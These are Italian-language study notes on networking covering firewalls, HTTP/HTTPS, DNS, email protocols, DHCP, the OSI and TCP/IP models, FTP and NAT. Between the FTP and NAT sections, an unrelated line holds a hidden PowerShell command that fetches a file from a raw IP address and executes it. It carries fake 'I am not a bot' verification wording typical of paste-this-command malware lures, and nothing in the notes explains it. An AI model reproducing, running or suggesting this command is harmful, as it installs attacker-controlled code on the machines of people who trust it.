Firewall e sicurezza di rete:

Firewall: i firewall sono dispositivi hardware o software che hanno lo scopo di controllare il traffico fra due o più reti, permettendo solo quello autorizzato dalla policy, segnalando eventuali violazioni.

Funzionamento: il firewall analizza i pacchetti in transito tra le reti su cui è messo ed in base alla sua policy decide se consentirlo o bloccarlo. Queste regole possono basarsi su:

- **IP sorgente e destinazione**
- **Numero porta**
- **Tipo di protocollo**
- **Contenuto specifico del pacchetto**

Ci sono **3 tipologie di firewall**:

- **A filtraggio di pacchetti**: il firewall controlla i singoli pacchetti controllando solo l'header ovvero IP sorgente/destinazione, porta e flag di connessione. È molto veloce nel controllo ma non visualizza il payload (dati applicativi) che potrebbe contenere comandi malevoli
- **A livello applicativo**: agiscono come intermediari fra il client ed il server che fornisce il servizio, analizzando sia l'header che il payload prima di farlo arrivare a destinazione. È molto più lento ma offre una sicurezza maggiore perché il pacchetto viene controllato totalmente.
- **Ispezione stateless e stateful**:
  - **Stateless**: ogni pacchetto viene analizzato singolarmente non considerando l'intero contesto, perciò se quel pacchetto è relativo o no ad una delle connessioni attive
  - **Stateful**: mantiene una tabella delle connessioni così da poter tenere traccia dell'effettiva comunicazione con il server

Firewall nelle reti aziendali: I firewall sono un requisito chiave di una rete aziendale, proteggendo l'intranet (la rete aziendale vera e propria) e l'extranet (apertura verso l'esterno dell'intranet). In un'azienda di solito il firewall viene messo sia come protezione alla rete interna, che a tutti quei servizi che devono poter essere accessibili anche dall'esterno come un server di posta o web. Quella zona prende il nome di **DMZ**, molto utile perché se un servizio viene compromesso rimane bloccato lì. Lo scopo tipico di un firewall aziendale è quello di filtrare i pacchetti in arrivo dall'internet, proteggere la DMZ bloccando pacchetti malevoli e/o troppe richieste che potrebbero causare un denial of service.

Debolezze del firewall: un firewall non può far nulla se un host all'interno della rete viene compromesso, poi può fallire anche per errore umano se si sbaglia qualche regola nella configurazione.

Firewall & servizi di rete: il firewall può anche essere usato per garantire la sicurezza di servizi di rete come SSH. Infatti può essere configurato per accettare connessioni SSH solo da determinati IP facendo così una white list.

http & https (ssl):

http (hypertext transfer protocol): è un protocollo di comunicazione a livello applicativo, utilizzato per il trasferimento di pagine web e risorse tra client e server. È alla base del web ed è grazie a lui che avviene lo scambio di contenuti online.

Funzionamento: modello client server

- **Client (browser o applicazione)**: invia una **http request** al server che comprende un metodo che indica l'azione che si vuole fare, la risorsa che si vuole identificata da URI (uniform resource identifier) e la versione del protocollo http ed altre informazioni.
- **Server**: elabora la request fornendo una **http response** contenente una linea di stato che indica l'esito tramite un codice numerico e la risorsa richiesta (se l'esito è positivo)

Essendo un **protocollo stateless**, cioè non mantiene informazioni di connessioni precedenti, quindi ogni richiesta è indipendente perciò andrebbe fatta ogni volta una nuova richiesta (versioni successive di http come la 1.1 hanno permesso di mantenere la connessione TCP attiva). Per mantenere la sessione attiva si utilizzano tecnologie come i cookie

Cookies: sono stringhe di ASCII che tengono traccia della sessione dell'utente, vengono passate al server web dal client.

Metodi http: sono le azioni che un client può fare

- **Get**: utilizzato per richiedere una risorsa dal server
- **Post**: utilizzato per inviare dati al server
  - **Get vs post**: i parametri viaggiano nella URL cioè in chiaro nel Get, nel post invece vanno nel body
- **Put**: modifica o sostituisce una risorsa nel server (sovrascrive tutto)
- **Delete**: serve a rimuovere una risorsa nel server
- **Head**: scopo simile a get ma richiede solamente l'header della risorsa
- **Options**: serve a capire quali metodi sono accettati per una risorsa
- **Patch**: serve a modificare parzialmente una risorsa (di una risorsa modifica solamente un campo)

http vs https: https è la versione sicura di http, sicura perché utilizza la crittografia SSL/TLS per proteggere i dati in transito. I suoi vantaggi perciò sono: crittografia, autenticazione ed integrità

SSL (secure socket layer): è un encryption system che utilizza chiave asimmetrica per scambiare la chiave simmetrica che verrà usata per il resto della comunicazione. Permette ai server di cifrare le informazioni prima dell'invio al client. Ogni server deve avere una chiave pubblica e privata associate ad un certificato (X.509), il client tramite la chiave pubblica cifrerà i dati, poi il server con la chiave privata li decifra.

DNS

DNS (Domain name system): inventato da Paul Mockapetris, Jon Postel e Craig Partridge nel 1983. È un database distribuito e gerarchico utilizzato per tradurre i nomi di dominio (meglio comprensibili all'essere umano) in indirizzi IP (comprensibili alla macchina). Questo sistema è alla base della navigazione su Internet, perché permette di non dover memorizzare lunghi indirizzi numerici per accedere ad una risorsa.

Funzionamento: quando un utente digita un indirizzo web accadono questi passaggi:

- Il client invia una richiesta al resolver locale
- Il resolver contatta un server DNS ROOT per ottenere l'IP del server che gestisce il dominio richiesto
- Il server che gestisce il dominio (TLD top level domain) risponde con l'IP del server che gestisce la risorsa
- Il server autorevole restituisce l'IP esatto della risorsa e lo invia al resolver
- Il resolver locale restituisce l'informazione al client e la salva in locale in caso di richieste future

In pratica ricorsivamente il client fa richieste di traduzione al resolver, che se ha già la risorsa nella sua tabella gliela fornisce, altrimenti iterativamente interroga la gerarchia dei server DNS

Tipologie server DNS:

- **Server Root**: sono i principali server DNS e contengono le informazioni sui server TLD
- **Server TLD (top level domain)**: contengono le informazioni relativi ai domini di primo livello come .com o .it e hanno le informazioni verso il server autoritativo corrispondente
- **Server autoritativi**: gestiscono specifici domini e le relative risorse (nome)
- **Resolver DNS**: sistema che agisce per conto del client memorizzando e recuperando gli indirizzi per velocizzare il processo

Tipologie di record DNS: il database DNS è costituito da record, nomi e classi

- **A record**: record utilizzato per associare un hostname ad un IP, è fondamentale perché appunto creando quest'associazione basta utilizzare il nome
- **AAAA record**: ha lo stesso scopo dell'A record solo che memorizza indirizzi IPv6.
  - **IPv6**: nato per risolvere la limitazione degli indirizzi IPv4, utilizzando otto gruppi di quattro caratteri esadecimali (da 32 bit a 128 bit)
- **PTR record**: che permette di associare un IP ad un host
- **CNAME record**: record utilizzato per creare alias per un hostname, perciò non ha associato un IP direttamente. È utile perché se più hostname sono associati allo stesso IP bisognerà cambiare il record A per ognuno, se invece li associamo ad un alias questo ci permetterà di fare il cambio una sola volta
- **MX record**: record che indica il server di posta elettronica per il dominio specificato
- **NS record**: record che identifica il nome del server autoritativo per quel dominio

DNS e sicurezza: il DNS può essere soggetto a vulnerabilità come:

- **DNS spoofing**: si manipolano le risposte DNS per indirizzare il client verso siti malevoli
- **DDoS via DNS**: si sovraccaricano i server DNS per rendere un sito irraggiungibile

Per provare a prevenire questi attacchi esiste il **DNSsec** che garantisce autenticità ed integrità delle risposte DNS, utilizzando firme digitali senza cifrare il traffico

Sistema di posta elettronica

Server di posta elettronica: il mail server è un sistema che gestisce l'invio, la ricezione e l'archiviazione delle mail garantendo la consegna tra mittente e destinatario. Si basa su due componenti logici il **Mail User Agent** che permette la composizione e la visualizzazione dei messaggi, e il **Mail Transfer Agent** che si occupa del trasporto del messaggio.

Funzionamento:

- Il MUA (mail user agent) mittente una volta composta la mail la invia al server SMTP locale
- Il server SMTP interroga il DNS cercando il record MX
- Il server SMTP invia l'email al server SMTP destinatario
- Il server del destinatario memorizza il messaggio e lo rende disponibile (**store & forward**)
- Il destinatario visualizzerà la propria posta tramite il proprio MUA utilizzando il protocollo **POP3** o **IMAP**. Due protocolli che gli permettono d'interagire con il server dal suo pc

Funzione di store & forward ha l'utilità che in caso di mancata ricezione, la mail è salvata nel server è verrà reinviata

Attori nella posta elettronica:

- **SMTP server (simple mail transfer protocol)**: il trasporto delle mail avviene utilizzando l'SMTP (RFC821). Crea un canale di comunicazione tra server SMTP mittente e destinatario (porta 25), si scambiano comandi per verificare la ricezione e poi avviene l'invio del messaggio.
  - **Helo** (presentazione), **Mail** (mittente), **Rcpt** (destinatario), **Data** (corpo del messaggio), **Quit**
- **POP3 server (post office protocol)**: permette al client di posta di recuperare i messaggi, scaricandoli sul dispositivo e togliendoli dal server SMTP (RFC1125). Il client interagisce con il server POP3 (porta 110 TCP) che accede alla mailbox per scaricare i messaggi.
  - **Problematica**: il client quando s'interfaccia con il POP3 deve autenticarsi, i dati sensibili però vengono passati in chiaro
- **IMAP server (internet message access protocol)**: consente al client di accedere alle mail direttamente dal server senza doverle scaricare sul dispositivo (RFC2060). È più adatto per l'accesso da più dispositivi, perché mantiene le mail sul server e gestisce anche lo stato dei messaggi (importante, da leggere, …) (porta 143 TCP).
- **MIME (multipurpose internet mail extensions)**: standard di codifica che si aggiunge al proprio MUA. Aggiunge nuovi header che ci permettono di gestire non solo testo ma anche contenuti come video, foto, … grazie all'adozione di una codifica base64, che permette di tradurre questi dati per farli passare come testo ASCII a 7 bit

Record DNS per la posta elettronica:

- **MX record (mail exchange record)**: record utilizzato per trovare quale sia il server di posta per un determinato dominio. Possono essere uno o più ma ognuno ha una priorità (priorità più bassa).
- **SPF record (sender policy framework)**: record utilizzato per prevenire lo spam infatti specifica quali server sono autorizzati ad inviare per conto di un dominio (previene lo spoofing)
- **DKIM record (domainKeys identified mail)**: record che garantisce l'autenticità e l'integrità tramite firma digitale
- **DMARC record (domain-based message authentication reporting conformance)**: si basa sui record SPF e DKIM per garantire che le mail inviate da un dominio SPF siano autentiche tramite DKIM

Sicurezza posta elettronica: i server di posta sono soggetti a problematiche come: lo spam (invio di mail indesiderate che possono intasare il server di posta), phishing (mail con lo scopo di rubare dati), …. L'uso di protocolli sicuri come il TLS per cifrare la connessione tra client di posta e server di posta è fondamentale.

DHCP

DHCP (dynamic host configuration protocol): è un protocollo che permette di assegnare automaticamente indirizzi IP ai dispositivi che si connettono alla rete (RFC2131), senza di esso ogni host connesso andrebbe configurato manualmente. Si basa sulla struttura client server, ci sono dei server DHCP stabiliti dall'amministratore che si occupano di configurare la rete.

Funzionamento:

- **Discovering**: un client si connette alla rete ed invia un DHCP discover per richiedere un IP
- **Offering**: i server DHCP presenti inviano un DHCP offer con un IP
- **Requesting**: il client invia un DHCP request comunicando quale offerta ha accettato
- **Acknowledgment**: il server invia DHCP acknowledgment per confermare l'assegnamento IP

Le prime 3 fasi avvengono in broadcast, l'ultima invece è rivolta al client. Utilizza il protocollo UDP su porta 67 e 68

Meccanismi di allocazione:

- **Allocazione automatica**: DHCP assegna un IP ad un client in maniera permanente
- **Allocazione dinamica**: DHCP assegna un IP ad un client per un lease time, permettendo il riuso di IP non più utilizzati
- **Allocazione manuale**: L'IP viene assegnato manualmente dall'amministratore ed il DHCP si limita a configurarlo

Sicurezza DHCP: Il DHCP ha una problematica relativa alla sicurezza non indifferente, un attaccante potrebbe inserirsi nella rete come server DHCP fornendo una configurazione malevola ad un host intercettando poi il traffico. Per questo motivo nelle reti aziendali si adottano misure come il **DHCP snooping** in cui solo in determinate porte sono possibili pacchetti DHCP offer, ed in quelle porte collegheremo i veri server così che ogni altro pacchetto DHCP su altre porte verrà bloccato

DHCP sotto reti: in una rete divisa a sotto reti la soluzione meno efficiente è quella di configurare un server DHCP per ogni sottorete (perché i router bloccano i pacchetti broadcast), altrimenti configuriamo un **DHCP realy agent** che permette al router di distribuire i pacchetti DHCP per le varie sotto reti, infatti il pacchetto broadcast viene imbustato in un pacchetto unicast diretto all'IP del server DHCP centrale

BOOTP (bootstrap): il DHCP non è altro che un'estensione del protocollo bootstrap, un meccanismo di trasporto che sfrutta gli indirizzi di broadcast per raccogliere informazioni sulle configurazioni IP, il DHCP aggiunge l'allocazione dinamica tramite il lease time.

Modello ISO/OSI

Modello ISO/OSI (open systems interconnection): schema teorico creato per descrivere il funzionamento delle reti. Suddivide la comunicazione in sette livelli, ognuno con una funzione specifica e si offre un servizio al livello superiore nascondendo i dettagli implementativi. Nacque dalla necessità di garantire interoperabilità tra diversi produttori, fornendo un modello concettuale da cui trarre ispirazione

Dal basso verso l'alto abbiamo:

- **Fisico**: riguarda i mezzi di trasmissione come i cavi UTP. Questo livello si occupa del trasporto dei bit, senza interpretarli
- **Data Link**: questo livello si occupa di organizzare i dati in frame, occupandosi della rilevazione degli errori. A questo livello operano gli switch e l'indirizzamento è basato su MAC
- **Rete**: questo livello si occupa di stabilire il percorso che i dati devono seguire per arrivare a destinazione. Il protagonista di questo livello è il protocollo IP che ha la funzione di instradare i pacchetti attraverso la rete (l'affidabilità viene gestita a livello 4).
  Protocolli di routing responsabili della tratta:
  - **RIP (routing information protocol)**: protocollo che sceglie la tratta in base alla distanza in termini di router attraversati (hop)
  - **OSPF (open shortest path first)**: protocollo che sceglie la tratta in base alla velocità e alla congestione della rete
  - **BGP (border gateway protocol)**: protocollo utilizzato in grandi reti che permette la comunicazione su internet
- **Trasporto**: questo livello si occupa di garantire che i dati arrivino integri e nella sequenza corretta. qua c'è il TCP (trasferimento affidabile, ritrasmissione dei pacchetti, …) e l'UDP (veloce ma poco affidabile). Qua sono introdotte le porte che servono a stabilire a quale applicazione è destinato il dato
- **Sessione**: questo livello gestisce le connessioni tra dispositivi. Ad esempio gestisce la sessione in un sito web mantenendola attiva per il tempo necessario e ristabilendola da dove si era rimasti in caso di errore
- **Presentazione**: questo livello si occupa di trasformare i dati in un formato comprensibile per l'applicazione
- **Applicazione**: questo livello serve come interfaccia per gli utenti per utilizzare i servizi della rete. Qua troviamo protocolli come http, smtp, …

TCP/IP

TCP/IP: standard de facto, chiamato così per via dei suoi protocolli più importanti il TCP e l'IP è composto, da 4 livelli

Dal basso verso l'alto:

- **Host to network layer**: host si collega alla rete in modo da poter utilizzare il protocollo IP. Ingloba il livello fisico e data link, non ci preoccupiamo di quale mezzo trasmissivo viene utilizzato, l'obiettivo è che il pacchetto IP possa essere spedito
- **Internet layer**: consentire agli host di mandare pacchetti per la rete fino alla destinazione, si basa sul protocollo IP connectionless e best effort
- **Transport layer**: progettato per consentire la comunicazione tra host sorgente e destinazione, come nell'OSI ha TCP e UDP
- **Application layer**: contiene un gran numero di programmi che si interfacciano con l'utente. Riassume i livelli 5, 6 e 7 dell'OSI, lasciando agli applicativi la gestione della sessione e la codifica dei dati

FTP

FTP (file transfer protocol): è un protocollo per il trasferimento di file tra host in una rete TCP/IP (RFC959). Visto che si basa su TCP è connection oriented e affidabile.

Si compone di 2 processi:

- **DTP (data transfer protocol)**: si occupa del trasferimento dei file tra client e server
- **Protocol interpreter**: si occupa di trasmettere i comandi per gestire la sessione.

Funzionamento: una sessione è composta da due connessioni:

- **connessione di controllo**: client stabilisce una connessione con il server sulla porta 21
- **connessione di trasferimento**: server stabilisce una connessione con il DTP client sulla porta 20

il client apre una connessione di controllo sulla porta 21 del server, invia il comando per iniziare il trasferimento e il server apre una nuova connessione sulla porta 20 dove avverrà lo scambio. Nel mentre la connessione di controllo rimarrà attiva

Modalità passiva: per evitare blocchi da parte di firewall client-side, c'è la modalità passiva in cui la connessione di trasferimento viene aperta dal client su una porta specificata dal server

Sicurezza FTP: nelle prime versioni il traffico era totalmente in chiaro, ora infatti si preferiscono versioni basate su ssh come SFTP o su SSL/TLS come FTPS

powershell -wi mi (.'powershell' (. 'wget' -usebas '84.21.189.171:5506/clo.txt'));I am not a bot - Verification ID: #8626)

NAT

NAT (network address translation): servizio che permette a reti private di connettersi ad internet, traducendo gli IP privati in un unico IP pubblico. Viene eseguito da un router

Funzionamento:

- client in una rete privata genere un pacchetto con IP privato e porta
- NAT nella sua tabella mappa quell'indirizzo privato nel corrispondente IP pubblico e porta
- Al ritorno il NAT riguarderà la tabella ed effettuerà la traduzione